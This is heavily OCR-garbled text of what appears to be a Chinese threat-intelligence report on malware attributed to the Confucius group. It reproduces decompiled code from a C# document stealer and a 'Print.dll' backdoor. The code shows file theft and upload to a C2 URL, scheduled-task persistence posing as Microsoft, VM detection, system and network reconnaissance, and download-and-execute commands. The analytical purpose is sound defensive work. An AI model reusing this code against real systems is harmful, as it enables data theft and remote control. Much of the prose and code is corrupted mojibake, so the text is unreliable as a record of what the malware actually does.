Console.WriteLine(webClient.UploadString("http://solamson. shopr1wer]gSJdgsp“ya php”,
"silly=./harl/™ + machineName + "__ " + userName + "8&kusr=" + fh)); — *

catch
{
1
catch
{
}

E3-27 &30, XHEMD5
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private void GF(string path, string pattern,

{

List¢string> list = new List<string»();
List¢string> list2 = new List<string»();
List<string> list3 = new List<string>();
List<string> list4 = new List<string>();

try

string ufn, List<string> pfhl)

{

{
defa

case
case
case
case
case
case

case
case

case
case
case
case
case
case
case
case
case
case
case
case
case
case

case [

ult:

switch (text2)

case
case
case
case
case
case
case
case
case
case

"xlsx":
"XLSX":
"xlsm":
"XLSM"™:
"docx™:
"DOCX":
“pptx”:
"PPTX"™:
"jpeg”:
"IPEG":

break;
default:

continue;

case |"jpg

¥
list2.Add(item2);

string text = item2.Substring(item2.Length - 3);
string text2 = item2.Substring(item2.Length - 4);
switch (text)

ERAMNER TRATS RS

list.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly))
foreach (string item2 in list)

o

LEX

&3-28 AR UAT B R T ABHEREN M+
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string t
if (list

if (
{

¥

ext3 = Path.GetFileName(path);
2.Count != @)
text3 == "")

text3 = ufn;

foreach (string item3 in list2)

if (item3 == "")
{

continue;
)i

string item;
using (MDS mD = MDS.Create()) HERXEMDS

using FileStream inputStream = File.OpenRead(item3);

item = BitConverter.ToString(mD.ComputeHash(inputStream)).Replace("-", "

}
if (!pfhl.Contains(item)) HERRE L&
{

list3.Add(item3);
list4.Add(item);

E

}

cun(

if (1ists.Count 1= @)

foreach (int item4 in Enumerable.Range(®, list3.Count()))

text3, 1);

if (!(list3[item4] == ""))  f&XE, XHEMDS

UF(list3[item4], text3, list4[itemd]);

}

}
}
string| | directories = Directory.GetDirectories(path);
foreach (string path2 in directories)

GF(path2, pattern, ufn, pfhl); 3 EiwFaREOXHE

BRERFERIAR,

E3-29 H{EXHRIIMHMDS | FHREESTF B RHITIEER

3.2.3 Rl 14AH

R3-7 C++ElIAkG

REAH

Backdoor/win32.Agentb

RS2 Print.dll

MD5

46417ADOFC33783C298B7441ACED2C1A

AIBRLEH Intel 386 or later, and compatibles

XA
pai: =N
B[R}

BrES
MFEAR
EES

KCHRIAD R AT ConfuciusAZA20204°9 A i — X IETEFT | B XA IBRAFTIRA B IA D S5 Z AR
AT , RIVERES Z BIRRAFIEERARBE , FIRAKIAD R X R RADLEAMBHT T A%,

HERHURITRAES . RRHREE. RAMLERHEE. RRUEEWEN/ER.

220 KB (225,792 bytes)
Win32 DLL

2022-04-12 05:09:50 +00:00
I

¥
Microsoft Visual C/C++(2013)[DLL32]

#. R3BShell&ThgE,

HEIIADHEPITE , BEASFIMBSSMBREFNXHEL . BERETFEN , RRAERBREMITTE.

EfE3 TR, PIT
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|GetModuleFileNameA(@, Src, @x1@4u); |
if ( Src[e] )
ve = strlen(Src);
else
ve = @;
sub_10eeA6D@( (char *)&dword_l1e@36D88, Src, v@);
v2 = sub_1000AdA0((char *)&dword_10e36D88, (void *)"\\", vi, 1lu);
= (void *)sub_10009740(&dword_10036D88, (int)Block, vz + 1, -1);
sub_10009A10(&dword_10037@B8, v3);

&3-30 REMNZRFRFFIEIE

|dEt'DdulEFllENEWEﬁ(hMDdUlEJ byte 18836418, @xledu);
wE 15;
vET = 8;
LOBYTE(vS5[@]) = @;
if ( byte_18@36A18[0] )
v33 = strlen(byte_18836A10);
else
V33 = 8
sub_18@BABDE( (char *)v5SE, byte 1B8@36A16, v 37)
wvel = 15; T

vbE =

LDEYTE( S9[81) = 8;
if ( byte_lee3gAle[e] )
vid = strlen({byte_18836418);
else
vid = 8;
sub_1e8escDe((char *)v59, byte 18836A18, v34);
V36 = sub_1@8BA4AB((char *)vS6, (void *)"\\", v35, 1u);
w37 = (void )sub 19999?49( 56, (int)Block, @, v3B);
sub_1@899418(v59, v37);
if { ved »= 8xl18 )
{
w38 = Block[@];
if (vEE + 1 >= 8x1888 )

if ( ((int)Block[@] & @x1F) != @ )
lﬂVElld parameter_noinfo_noreturn();
\ = (voild #)*((_DWORD #*)}Block[8] - 1)};
1f ( w39 »= Block[@] )
1nval1d_paPameter_noinfo_noreturn();
if ( (unsigned int)(Block[@®] - w39) < 4 )
_invalid_parameter_noinfo_noreturn();
if { (unsigned int)(Block[®] - w39) > 8x23 )
_1nvalld parameter_noinFo_noreturn();
v38 = (vold *)*{(_DWORD *)Block[8] - 1};

J_3 free_base(v38);

48 = Block;

ORD *#)Block = xmmword_l@@31780;
-094133566;

-1128483714;

*)ud 88;

BYTE
= (wvoid )((fha’ #lvdd + 1);

*(_
via

H
while ( *( BYTE =)vap );

1 = [strcmp(byte 18836418, (const char *)Block);
if ( w41 )

&3-31 HiT B 5 FiEr 12

Hx , B2 E FERMRBINTRAFE-ANADREFIELET , FHGADERNEFERN V2117, FEFK

RCERTXHHHEE FEAV2AAHCHFIIAD , HLATHMH RIIADERNEFENLHIADRAS.

CreateMutexA(@, @, "v2.1.1"); CreateMutexA(@, @, "v2.1.4");
if ( GetLastError() == 183 ) if ( GetLastError() == 183 )
{ _loaddll(e);

_loaddl1(e); sub_10006260(v28);

goto LABEL 145;

}

E3-32 RNERAADHE F&

RIES , BEHHBII A %L A Windows Logging Service’ it iHES , S+H 0 4F A ARG T ARundIB2INEHITE

5, XA BEENINE K.
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VariantInit(&v31);
LOBYTE(v58) = 14;
v38 = v3l;
v26 = (int *+*)sub_18@82A808( (OLECHAR *)q“windows Logging Service"b;
LOBYTE(v58) = 15; e =
if ( *v26 ) ~ 2R
w27 = ¥*y26;
else
w27 = 8;

v28 = (const CHAR #*)(*(int (__stdcall #**)(int, int, int, int, _DWOR

v52,

v27,

v57,

6,

*(_DWORD *)&v38.vt,

v3s8.decVal.Hi32,

v38.1Val,

v38.cyVal.Hi,

*(_DWORD *)&v37.vt,

v37.decVal.Hi32,

v37.1val,

v37.cyVal.Hi,

3,
*(_DWORD *)&v36.vt,
v36.decVal.Hi32,
v36.1Val,
v36.cyVal.Hi,
&vad);

&3-33 1T RIHES &K

<?uml version="1.8" encoding="UTF-16"?%>
<Task wersion="1.2" smlns="http://schemas.microsoft.com/windows/2084/82/mit/task™>
<RegistrationInfo>
<AuthorxMicroSoft Corporation</authors
</RegistrationInfo>
<Triggers>
<RegistrationTrigger id="Trigger2">
<Repetition>»
<Interval >PT15M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<Enabled>true</Enabled>
<Delay>PTSM</Delay>
</RegistrationTrigger>
</Triggers>
<Principals>»
<Principal id="Principall™>
<RunLevel>LeastPrivilege</RunLevel>

<UserId> </UserId>
<LogonType>InteractiveToken</LogonType>
</Principal>
</Principals>
<Settingss >

-
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPaliqyEd f
<DisallowstartIfOnBatteries»true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteriess
<AllowHardTerminate>true</AllowHardTerminate>
<StartwWhenAvailable»true</StartWwhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>»

<Duration»>PT10M</Durations
<WaitTimeout>PT1H<¢/WaitTimeout>
<StopOnIdleEnd>true</StopOnldleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowstartOnDemand > true</AllowStartOnDemand >
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunonlyIfIdle>
<WakeToRun>false</WakeToRuny
<ExecutionTimelimit>PT72H</ExecutionTimeLimit>
<Priority»>7</Priority>
</Settings>
<Actions Context="Principall™>
<Exec»
<Command>C:\ProgramData‘\winlog.exe</Command>
<Arguments»Print.dll,message</Arguments>
</Exec»
<fActions¥
</Task>

[&3-34 7775AE Task B K N TRIMES T4
RE , KDLNBEENERE—NSIMTREEZEC2MRE 2 | SRR R ANE3-35F77R
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&5&1&IHI.E&mfha&MActE.ht&"ImE-mF-a-MActp.ht"%:ﬁmgsmzss

4 fux
R AITR \ =R, EIURR

BVESHEEGTR

&3-35 B4R
©1 00 2d 91 90 00 30 26 36 26 31 26 3@ 26 56 49 - --.-. P& 6&1808VI
55 41 4c 2d 50 43 26 56 69 72 74 6c UAL-PC &Virt:i 11
26 30 30 3a 31 36 3a 3a 34 42 3a 34 30 3a &00:16: :4B:40:
31 41 26 39 38 62 34 32 32 61 62 32 61 38 66 61 1A898b42 2ab2a8fa
35 32 32 33 39 32 65 39 522392e9

34 3@ 37 3@ 63 66 31 32 33 33 33 34

497BCF12 3334fabe

66
63 37 36 34 63 35 62 64 35 34 64 66 3 FJ\ GBQ c764c5bd 54df47cc

33 34 32 26 31 20 20 20 20 20 20 20 29 20 20 20 3428&1
[E]3-36 S HRREES]

BOOL sub_leaazasel)

ULONGLONG v@; // rax
struct _OSVERSIONINFOEXW VersionInformation; // [esp+8h] [ebp-128h] BYREF

versionInformation.dwdsSVersionInfoSize = 284;

memset (&VersionInformation.dwMajorVersion, @, 276);
*(_DWORD *)&VersionInformation.wSuiteMask = @x10008;

w8 = VerSetConditionMask(®isd, @x80u, 1u);

return WerifyVersionInfoW(&VersionInformation, @x86u, va);

H

if-ﬁunsiéned ‘_ir'1'?':8)sub_19992939() ) 7/ BT ndowsiR{E 2éh R AR S R AT R s kT
sub_108eAsDR( (char *)&dword_18286DASB, "1", 1u);// RS

else
sub_18@9A6DA{ (char *)&dword_18286DAR, "@", 1u);// SEi

v? = sub_1@881FF@(&v22); 1

vi4 = 8; —

V3 = sub IBBBIFFB('-.-EE); /6 mSER

LOBYTE( /34) =
(_DWORD )sub 1888Ce78( (int )&dword_18286DA8, (int)vz4, “&");
LDBYTE( 34y =
Vs = sub_laaaczaa(vze, v, v3);
LOBYTE(v34) = 3;
v6 = sub_leeecise(v2s, vs, "&");
LOBYTE(v34) = 4;
v7 = {char **)sub_ 1aaaczaacslcr<, Wb, ),
sub_18889418( (char **)&dword_18286048, v7); // ¥{ER&EMEir0acs1

&3-37 HIMTIRIE R LEIR A

/4 BRI CPUIE S B ARG R B AT

sInformation.hThread = _EAX; —_—
sInformation.dwProcessId = _EBX; w.,H*
sInformation.dwThreadld = _ECX; £/ ECKRTFIECPURYITRAR 2

DX3

i (£ e) /¢ RECPUINRE R PR T T hyperviser (RN ) HERR . RRESTHEZ ST IEN,

sub_18@84A6DB((char *)&dword_18286E88, "1, 1u);// $PIEEAN
else
sub_10@@AEDR((char *)&dword_l@286E8@, "8, lu);// [N

&]3-38 FIMME TR EIULE R MR

ProcessInformation = (struct _PROCESS_INFORMATION)xmmword_l@8316F6;
w191l = -1488688921,;
v192 = @;

oo fEE

LOBYTE(p_ProcessInformation->hProcess) -= 88;
p_ProcessInformation = (struct _PROCESS_INFORMATION *)((char *)p_ProcessInformation + 1)

1
while ( LOBYTE(p_ProcessInformation->hProcess) J};
sub_1888C348(1pCmdline, (char *)}&ProcessInformation);// C:\Windows\SyshOWed\
sub_18@@BC48();
sub_18@@BC48();
w31l = lpCmdLine;
if ( w14 »= 8 )
w31 = (LPCSTR *)lpCmdLine[@];

w32 = _Stat((LPCWSTR)v31, &v143); £ FEENC: \Windows\SysWOWE\ I ERIRTE
Vi3 = w32 1= 8 && v32 1= -1;
if ( vigs »= 8 )

sub_1888AC98((_DWORD *)1pCmdline[@], w184 + 1);

if (w33 ) /f BIESTIESysWowsanT s . Semg e Riniugh
sub_108eA6DB((char *)&dword_1@@36C34, "1™, 1u);// Trrjﬁjl, {udhhsafu

else
sub_leeessDe((char *)&dword_1@@36C34, "8", 1u);// TEfrAe, {uiieafs

]3-39 HIKTHRAE R GEAL IR
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e;

8icd; /1 BIERGRFATE 521

1779833783 ;

-115@8833819;

1813984242 ;

-1521486534;

1359893119;

-1694144372;

528734635;

1541459225,

((void (__cdecl #)}(const char *))sub_10888C878)("&");

vid = 8

((void (__usercall #*)({void *@<ecx>, int))sub_1@0@CIDE)({v2o, (int)&dword_18286EBe);// il /B im0
LOBYTE(v44) = 1;

((void (__usercall #){void *@<ecx>, void *))sub_1088C158)(v21, "&");

LOBYTE(vad) = 2;

((void (__usercall *)(void *@<ecx>, int))sub_leeeciDe)(vzz, (int)&dword_1ee36Dae);// .5

LOBYTE(v44) = 3;

((void (__usercall #){volid *@<ecx>, void *))sub_1088C158)(v23, "&");

LOBYTE(vad) = 4;

({void {__usercall *)(void *@<ecx>, int))sub_1008C1D0)(v24, (int)&dword_18836C1C);// FHFE

LOBYTE(v44) = 5;

((void (__usercall *){void *@<ecx>, void *))sub_1688C158)(v25, "&");

LOBYTE(vad) = 6;

w7 = (char *#*)((int (__usercall *)@<eax>(void *@<ecx>, int))sub_1888C108)(v42, (int)&dword_1028DBAB);// MACHHHH
sub_18889416( (char **)adword_l@28CFAB, 7
sub_188899A8(48) ;

sub_18889948(v75) ; ——
sub_188899A8(\ H N'-H*
sub_18889948(v23);
sub_l18e89948 2
sub_18e899458
sub_18889948(v28);

vad = -1;

sub_18889948(v19);

((void (__cdecl #)}(const char *))sub_l888C878)("-");

vad = 7;

((void {__usercall *){void *@<ecx>, int))sub_1e608C1D8)(v12, (int)&dword_10036C1C);

LOBYTE(v44) = &;

((void (__usercall #*){volid *@<ecx>, void *))sub_1888C158)(v13, "-");

LOBYTE(va4) = 4;

vd = ((int (__usercall *)@<eax>(void *@<ecx>, int))sub_1008C1DB)(v14, (int)&dword_10280048);// Ei43-F Fus-Mackit
LOBYTE(vas) = 1@;

w3 = sub_l@@eEB6@((int)vls, vd); 7 BEFRCES - PE - MACH S R SHAZSE

LOBYTE(vas) = 11;

wle = (_| D #)({int {__cdecl *)(const char *))sub_l1888C878)("38");

LOBYTE(vas) = 12;
sub_1888C28a (17 *}y9);

LOBYTE(vad) =

((void {__usercall #){vold *@<ecx>, void *))sub_1888C158)(v18, "&");

LOBYTE(vas) = 14;

((void (__usercall #*)(void *@<ecx>, int))sub_1@8@@C1D@)({v37, (int)&dword_10836C34);// B{ERIFutRO
sub_188899a8(v1s);

sub_188899A8 H
sub_188899348
sub_18889348
sub_18e899458
sub_18889948
sub_18889940(
LOBYTE(v44)
sub_18889948(v H

[((void (_cdecl *)(_DWORD))sub_188B2BAR) (1)
SUD_TEeedgRe(vI7T;

3

/0 EHESHATRE

&3-40 PHESMINR | FHEMEEC2MRSE 25

BE  ADLBRRNBINEEREERHENC2RS S , RRNEEBEHTRE. MKEAS. #aksR, B

EVRE DY ES =Sl ap e S
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V34 = sub_10003500(); /7 RERBEIRE3E S

V139 = v34;
v35 = sub_100035C0(); /] KRB ERLRER
v138 = v35;
v136 = sub_100040B0(); /] BRENAGE
sub_10005020(v34); /] BRERFEERBRSC
V36 = sub_100052E0(); /] BIBRRERETY
s = V36;
if ( byte_1ee36AeC )
{
BEL_330:
if ( byte_100359A8 )
{

sub_10002BA@( (int)&dword_10287198, v36, 1);
sub_10002BA@( (int)&dword 10@3CE9@, v36, 1);
sub_10002BA@( (int)&dword_1028D0F@, v3ic, 1);
sub_10002BA@( (int)&dword_102871C8, v36, 1);
sub_1eee2BA0((int)&dword_10036C4C, v36, 1);
sub_10002BA@( (int)&dword_10036D88, V36, 1); EHEER
sub_10002BA@((int)byte 10036DB8, v36, v34 + 1);
sub_10002BA@((int)byte_1028CFB8, v36, v35 + 1);
sub_10002BA@( (int)byte 1@@370D0, V36, V137 + 2);
sub_10002BA@((int)byte_102871E@, v36, v136 + 1);
v1ig84 = 15;

V183 = @;

LOBYTE(1lpCmdLine[@]) = @;

sub_1eeeAeDo((char *)lpCmdLine, "Done", 4u);

&3-41 [Al1%{5
B

KRAEE | RRBENELSTRHRREE | FIERRNEEL EF 48— FPID—RFER T NEREGE
C2/R%5=5.

pCount = 8;
sub_l1eeeacDe(byte_1e8378D8, "Running Process :- ", @xl3u);
ppProcessInfo = @:
if (|ATSEnuweratEP'ccessesé(B, 0, lu, &ppProcessInfo, &nxggjtll)
=
@ = pCount;
35 = 1;
if ( pCount )
vl = 1;
v2 = byte_l18@378EE;
do

ame = ppProcessInfo[vl - 1].pProcessName;
( * ocessName )

/4 = strlen{ppProcessInfo[vl - 1].pProcessName);
else

vd = 8;
sub_l100eA6D8(v2, pProcessName, vd);
while { #((_DWORD *)v2 + 4) < @x32u )
i

/5 = (char *)sub_1@8ece7e("-");

E]3-42 WEBBENMENHFZEE
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v23 = OpenProcess(@x41@u, @, ppProcessInfeo[vl - 1].ProcessId);

if ( v23 )
{

{
sub_18@8Ce7e("----");
v39 = 3;
v24 = (void *)sub_1000C150(v27, Filename);
sub_10009A18(v2, v24);
sub_100099A8(v27);

39 = -1;
sub _18@899AB(v2E);
1
CloseHandle(v23);
¥
++y1
ve = pCLLnt;
2 oe= 24,
Ve

]

&]3-43 FRERAFERE FF oo K1

if ( K32GetModuleFileNameExA(v23, 8, Filename, 0x184u) )I@ﬁﬁﬁﬁﬁﬁ%@

gl EX WINlDG . BXE = msmmsnnn s n s snas s mnns 1172----C:\ProgramData\winlog.exe

[E]3-44 [E{ERBHFEE R

KWRUMEEHNJEE - RNEEVHEERINRZEE | WEADE LR RUERNRT R ERMNHER.

int ve; // edi

unsigned int wlj; // ebx

char *v2; [/ esi

DWORD LogicalDrives; // [esp+Ch] [ebp-Ch]
char Src; // [esp+1Bh] [ebp-8h] BYREF
__intle w6; //f [esp+llh] [ebp-7h]

wve = 1;
LogicalDrives = GetLogicalDrives();
sub 18884608 (byte_18836DB8, "Drives:", 7u);

vl : a;
= (char *)&unk_18835008;
do
{
if { (LogicalDrives & 1 << wl}) == 1 << vl )
VG = 58;
Src = vl + B85;
sub_1800A6D8(v2, &5rc, strlen(&src));
++yl
vio+= 24, i
} SR

++vl;
H
while { vl < @xC );
sub_1888A6Da(
abyte_18836DBS[24 * 8],

BxTAu);
return vE;

E|3-45 KARMEIEE

KRMEEIHEE - BAEEARKE, £, #&, Macilt,

IPvastihit, PISK, FMIHERDE.
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if ( JGetAdaptersInfo(v4, &SizePointer)])

V5 = v4;
if (va )
{
Ve = B;
do
{
if ( v5-»AdapterName[@] )
v7 = strlen(v5->AdapterName);
else
v7 = 8;
sub_leeeaeDe (&byte_1le4D7@50[ve], v5->AdapterName, v7);
if ( vS5->Description[@] )
v& = strlen(vs-»>Description);
else
ve = 8;
sub_leeeacDe(&byte_1lee3ecs8e[vc], vS-»Description, v8);
sub_leeec2ee(Buffer, "H.2X:%.2X:%.2):%.2X:%.2X:%.2X", v5->Address[@]);
if ( Buffer[@] )
vd = strlen(Buffer);
else
Ve = 8;
sub_18@0A6D8(&byte_18286DD8[vE], Buffer, va);
Type = v5->Type; ) v
switch ( Type ) w2 X
{
case 1lu:
sub_1@e8AeDe(&byte 1@286EEB[v6], "Others™, 6u);
break;
case 6u:
sub_leeeAeDe(&byte_10286EE@[vc], "Ethernet”, Bu);
break;
case Su:
sub_leeeaesDa (&byte_l1@286EE@[vc], "Token Ring", @xAu);
break;
case @xFu:
sub_10@8A6Da (&byte_10286EEB[v6], "FDDI", 4u);
break;
case ox17u:
sub_1eeeasDe(&byte 10286EE8[v6], "PPP", 3u);
break;
case @x18u:
sub_leeeAeDe (&byte_10286EE@[v5], "Lookback", Bu);
break;
case @x1Cu:
sub_10@0A6D@ (&byte_1@286EE@[vE], "Slip", 4u);
break;

&|3-46 KRN ERREE
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i

for (
{
vl7 = (_DWORD *)sub_leeec28@((char *)&unk_10286ECB + 24 * i, v59);
vee = 8;
vlg = sub_leeecise(ve2, v17, "  Adapter Name :- ");
LOBYTE(vo@) = 1;
v1l9 = sub_leeeciDe(ve4, v1g, &dword_1e4D7838[6 * i1);
LOBYTE(vS@) = 2;
v20 = sub_leeecise(ves, v1%, " Adapter Description :- ");
LOBYTE(vo@) = 33
v21 = sub_leeecipe(ves, v2o, &dword 10036C68[6 * i1);
LOBYTE(v2@) = 4;
v22 = sub_1eeecise(vie, v21, " Adapter/MAC Address :- ");
LOBYTE(v90) = 5;
v23 = sub_10eec1pe(v72, v22, &dword_10286Dco[6 * 11); TS F
LOBYTE(vS8) = 6;
v24 = sub_leeecise(v74, v23, " IPv4 Address :-");
LOBYTE(vS@) = 7;
v25 = sub_leeeciDe(v7e, v24, &dword_184D7128[6 * 1]);
LOBYTE(v=@) = 8;
v26 = sub_l@eecl1se(v72, v25, " SubNet Mask :-");
LOBYTE(vE@) = 9;
v27 = sub_leeeclDe(vse, v2e6, &dword_1@286FB8[6 * 1]);
LOBYTE(v9@) = 18;
v28 = sub_leeecise(vsz, v27, " Gateway :- ");
LOBYTE(vo0) = 11;
v29 = (char **)sub_leeeclDe(EBlock, v28, &dword_182878A8[6 * 1]);
sub_1@ee@9ale((char **)&byte 1028CFB8[24 * i], v29);

E3-47 FFERRHNMLEZE

KENBRFEE | BRI FRHKLM\Software\\Microsoft\Windows\\CurrentVersion\\Uninstall i F IR Sk 3R 75 =
HUT RN B TR, IRAR FTERIREFEE.

=1; 1 < vB; ++1 )

v@ = RegOpenKeyExA;
RegOpenkeyExA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\Currentversioni\Uninstall”, @, @x2@@19u, &phkResult);
vl = @3
cchiame = 1824;
va7 = @;
V2 o= 13
sub_leeeasDe(byte_102871E@, "Apps:”, 5u);
= RegEnumKeyExA{phkResult, @&, Name, &cchName, @, @, @, @);
£ ( v3 1= 259 )

i
{

goto LABEL_114;
if ( !ve(phkResult, Name, 8, @x28019u, &hkKey) ) —
break; =& S
ABEL_115:
v3 = RegEnumKeyExA(phkResult, vl1, Wame, &cchName, @, 6, @, @);
if ( w3 == 259 )
goto LABEL_116;

sub_le@a3Fae(v55, hkey, "DisplayName™);

vE3 = 8;

sub_leee3Fae(vse, hkey, "Publisher”);
LOBYTE{vE3)

sub_leea3Fae "Displayversion™);
LOBYTE(vE2)

sub_18883FAB(v52
LOBYTE(vE3) = 3;

"InstalllLocation™);

&3-48 KEFMT
RERMR IR PRSI - WEBFTRENXHFLER Hdoc, docx, pdf, txt, ppt. pptx, xIs, xIsx, zip,
rar, 7zRARKaxx,
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sub_leeeasDa((char *)dword_1883CEAS, "File List:™, exau);

if (a1l <=1

{
ve = dword_l10935948;
}
else
{
vZ = {char *)8&unk_1883600Da@;
w3 = al - 1;
do
{

if ( *((_DWORD *}vZ + 5) < @x18u }

vd m y23
else

v4 = *{char **)v23
vig = 15;
v o= @3
LOBYTE(vE[R]) = @;
if ( *va )
{

Vil o= ud o+ 1;

5 = strlen(vd);
}
else
{

vE = @}

sub_1eeeasDa((char *)vE, vd,

vE = dword_18@359A0;
Vi oe= 24

vs);
sub_1ees4sre(ve[e], (int)ve[1], (int)ve[2], (int)ve[3], vo,

dword_18835544 = dword_18835948;

--y3;

I
while ( v3 );
}

return sub_l1eeeaeDl((char *)&dword_1@@3CEAS[6 * v6], "Done", 4u);

|3-49 R HF

aDoc
aDocx

abPdf
aTxt
aPpt
aPptx

aXls o 3 E
aXlsx

aZip
aRar
a’z

aAXxXx

[&]3-50 Wi RIERI A

db 'doc',e
db 'docx’',0
align 1@h
db 'pdf',e
db 'txt',e
db 'ppt',@
db 'pptx',®
align 4

db 'xl1s',@
db 'xlsx',@

align 1@h

db 'zip',@
db 'rar',o
db '7z',0

align 4

db 'axx',®

viehu/ by

=S
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V78 = 1;

sub_leeece7al"\\");

if ( sub_leeeasie(Block, (int)"C:\\Program Files\\", v7, 17) == -1
&& sub_le@easie(Block, (int)"C:\\Program Files (x86)\\", vg, 23) == -1
&& sub_le@easie(slock, (int)"C:\\Windows\\", v9, 11) == -1
8& sub_leeeasi®(Block, (int)"C:\\PerfLogs\\", vie, 12) == -1
&& sub_le@es7ce((int)elock, (int)"C:\\ProgramData‘\", w11
&8 sub_leees7ce((int)Block, (int)"C:\\$Recycle.Bin‘\\", v
&8 sub_lemesvce((int)slock, (int)"C:\\Sys Reset\\", vi3) == -1
&& sub_leaegvce((int)elock, (int)"cC:\\Appsi\", vi4) == -1
&& sub_leeesrce((int)Block, (int)"C:\\Drivers\\", vi5) == -1
8& sub_1@ee97ce((int)Block, (int)"C:\\Intel\\", vis
&% sub_leses7ce((int)Block, (int)"C:\\Program Data‘\\", v17
&8 sub_lee@syCe((int)Block, (int)"C:\\Recovery\\", v1E) =
88 sub_leees7Ce((int)Block, (int)"C:\\System Volume Informationi\", vig) == -1
&% sub_108097Ca((int)Block, (int)"C:\\dell\\", v28) == -1 E %
&8 sub_leees7ce((int)Block, (int)"C:\\Windows.old\\", w21 o
&% sub_l@ees7ce((int)elock, (int)™\\AppData\\", v22) == -

sub_18808920( (void *)™\\"); BEHRER
sub_ieeacare("*");
LOBYTE(v78) = 2;
v23 = {const CHAR *)lpFileName;
p_FindFileData = (int)&FindFileData;
if ( lpFileMame[S] »= (LPCSTR)@x1® )
v23 = lpFileName[@];
FirstFileA = FindFirstFileA{v23, (LPWIN32_FIND_DATAA)p_FindFileData);
if ( FirstFileA != (HANDLE)-1 )
{

[&3-51 FEHIFHNE R

[
_

A, FERMEREETER  ADMINGRITRE | FEHFC2RFH T RIS , PUTHRINRE.

BEADSN , AMKREETELFAZLEWhilelBFRIILAERME | HRITHE N While B ERERIT—FE £ 7
IhHE.
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while ( 1)
while { 1)
while ( 1 )
while ( 1)
while ( 1)
if ( sub_leeegere("wait") )

break;

if ( sub_1@@ee98Fe("CFEx") )
break;

if ( !(unsigned _ int8)sub_leeeBD5e(v185, "GetF") )
break;

if ( !(unsigned _ int8)sub_l@eeBD5@(v185, "FeFi") )
break; 1 ’

------

if ( (unsigned _ int8)sub_leeeBD5@(v185, "LiFi") )
if ( (unsigned _ int8)sub_leeeBD58(v185, "Exit") )

b
if ( (unsigned __int8)sub_1@8@@BD5@(v185, "SuCi") )

if ( (unsigned _ int8)sub_leeeBD58(v185, "ReST") )
break;
if ( (unsigned _ int8)sub_l@ee@BDS5@(v185, "DelF") )

if ( (unsigned __int8)sub_leeeBD5e(v185, "ReSh") )

.....

......

&]3-52 FIFAZ EWhilefEFR SN G 13E
WHE T ARTES AN A— R I ZLRIgS , —RIsSRR—NBIETNEE | T _KIESRRBIKNEE TN ITEE.

KHEEX BARHTIERIN , A TR —RIESHNRBEKINRE , RFH TRAKIES KN TRE. BAE4H", "7
#ole , B RIES  BARIRME | I, KDIERWE|RIATES R IE T StriokeR T B T%. RN, KDFE
TRIES IR , RMC2MREF[EHER EMTFTIFANRIESPUTER.

[E3-53 WiE T AN —KES

32/49



api.com
sers\Pub
ments\te

222332

23

tEEr

¥

IR R EERRE.

3-54 i E T RI K54S
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LibraryA = LoadLibraryA("urlmon");

URLDownloadToFileA = (HRESULT {__stdcall *)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK))GetProcAddress(Librarya, "URLDownloadToFileA");

v71 = v159;
if ( viel »= ex1e )
V71 = (void **)vi59[@];
v72 = FileName;
if ( vig4 >= @x1e )
V72 = *(WCHAR **)FileName;
v73 = ((int (__cdecl *)(_DWORD, WCHAR *, void **, _DWORD, _DWORD))URLDownloadToFilen)(®, v72, v71, @, @);// FEXfl
V167 = 15;
v74 = v73;
vIGE = @;
LOBYTE(2lock[@]) = @;
sub_1eeeAsDa((char *)Block, “DowF", 4u);
LOBYTE(v195) = 12;
if ( w7a )

sub_100eAeDa((char *)2lock, “JuDo", 4u);
if ( sub_10009690(v156, "DE") )
{
v184 = 18;
V183 = 8;
LOBYTE(1pcmdLine[@]) = @;
sub_1000A6D@( (char *)1lpcmdline, "JuDo", 4u);

}
else

sub_1008A6D@( (char *)Block, "ExeF", 4u);
vigd = 15;
v1a3 = @;
LOBYTE(lpCndLine[@]) = @;
sub_10@8A708(lpCmdLine, v159, @, @xFFFFFFFF);
LOBYTE(v195) = 13;
w75 = (const CHAR *)lpCmdLine;
if ( visa >= ex1e ) -
v75 = lpCmdLine[@]; LEX
if ( WinExec(v75, 5u) ) /1 BAT IR SO
sub_1008A6D8((char *)Block, "DnEx", 4u);
LOBYTE(v195) = 12;

sub_100e99Aa(1pCmdLine);

}
sub_1@e@28A8((int)Elock, v36, 1); // [tk

3-55 BT URL B R HITATHATCH

34/49



if ( sub_1eee9e9@(v172, "CFEx") ) /1 Pl — 454 &% NCFEX

break;
memset(String, @, sizeof(String));

if ( !'v3s(v3e, String, 1024, @) ) /] BW —FiEAS

goto LABEL_294;
v52 = strtok(string, ",");

V53 = v52;
v158 = 15;
V157 = @;
LOBYTE(v156[@]) = @;
if ( *vs52 )

v54 = strlen(v52);
else

vhd = @;

sub_1000A6D0( (char *)v156, v53, v54);
LOBYTE(v195) = 6;

if ( sub_1e@@9690(v156, "ID") && sub_10009690(v156, "DE") )// ¥l —ZifE4

SEX

{
v55 = strtok(e, ",");
sub_10009B4@((int)v1ss, v55);
LOBYTE(v195) = 14;
sub_1ee0974@(v159, (int)src, @, v1e0);
LOBYTE(v195) = 15;
sub_10009B4@((int)lpCmdLine, "hi");
LOBYTE(v195) = 16;
if ( sub_leeec33e(vlse, "CFE") )
{
sub_10009960( (char *)lpCmdLine, "FNoF");
v56 = (const CHAR *)sub_1000988@(S5rc);
if ( GetFileAttributesA(vse) = -1 }// SEBUCHEREME
sub_10009960((char *)lpCmdLine, "FiFo");
}
else
{
sub_18009BCO(FileName, (int)Src);
LOBYTE(v195) = 17;
sub_18009960((char *)lpCmdLine, "ExF1");
v57 = (const CHAR *)sub_10009880(FileName);
if ( WinExec(vs7, 5u) ) /1 AT
sub_1000996@0( (char *)1lpCmdLine, "ExSu");
LOBYTE(Vv195) = 16;
sub_180099A@(FileName);
}
sub_1e@8@2BA@((int)lpCmdLine, v36, 1);// [EI{LFRIA
&13-56 # R R PITI M
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if ( sub_1eeec33e(vi7z, "DelF") )

{
memset(String, @, sizeof(String));
if ( 'v38(v36, String, 1024, 9) )

goto LABEL_293;

